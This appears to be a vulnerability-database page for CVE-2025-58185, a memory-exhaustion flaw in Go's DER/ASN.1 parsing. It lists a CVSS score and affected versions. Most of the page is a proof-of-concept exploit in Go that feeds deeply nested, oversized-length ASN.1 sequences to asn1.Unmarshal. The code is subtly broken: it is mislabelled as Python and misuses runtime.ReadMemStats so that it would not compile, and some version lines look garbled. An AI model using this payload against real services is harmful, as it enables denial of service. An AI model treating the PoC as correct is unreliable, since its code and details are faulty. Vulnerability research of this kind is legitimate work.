Parsing a maliciously crafted DER payload could allocate large amounts of memory, causing memory exhaustion.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 < 1.22.10
Go语言 < 1.23.0-rc1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-58185: Go DER Parsing Memory Exhaustion
// This PoC demonstrates memory exhaustion via malicious DER payload
package main
import (
"encoding/asn1"
"fmt"
"runtime"
)
// Malicious DER payload that triggers memory exhaustion
// This creates a deeply nested SEQUENCE structure
func generateMaliciousDER() []byte {
// ASN.1 structure with deep nesting to trigger memory exhaustion
// SEQUENCE { SEQUENCE { SEQUENCE { ... } } }
var depth = 1000
var payload []byte
// Start with SEQUENCE tag
for i := 0; i < depth; i++ {
// SEQUENCE tag (0x30) with length field
payload = append(payload, 0x30)
// Length byte (can be extended for larger allocations)
payload = append(payload, 0x82, 0xFF, 0xFF) // Long form length
}
return payload
}
func main() {
fmt.Println("CVE-2025-58185 PoC - DER Memory Exhaustion")
fmt.Printf("Initial memory: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024)
maliciousData := generateMaliciousDER()
fmt.Printf("Malicious DER payload size: %d bytes\n", len(maliciousData))
// Attempt to parse the malicious DER data
var result interface{}
_, err := asn1.Unmarshal(maliciousData, &result)
if err != nil {
fmt.Printf("Parse error (expected): %v\n", err)
}
fmt.Printf("Memory after parse attempt: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024)
// Alternative PoC: Craft DER with oversized length field
oversizedDER := []byte{
0x30, // SEQUENCE tag
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Malformed length
}
var result2 interface{}
asn1.Unmarshal(oversizedDER, &result2)
}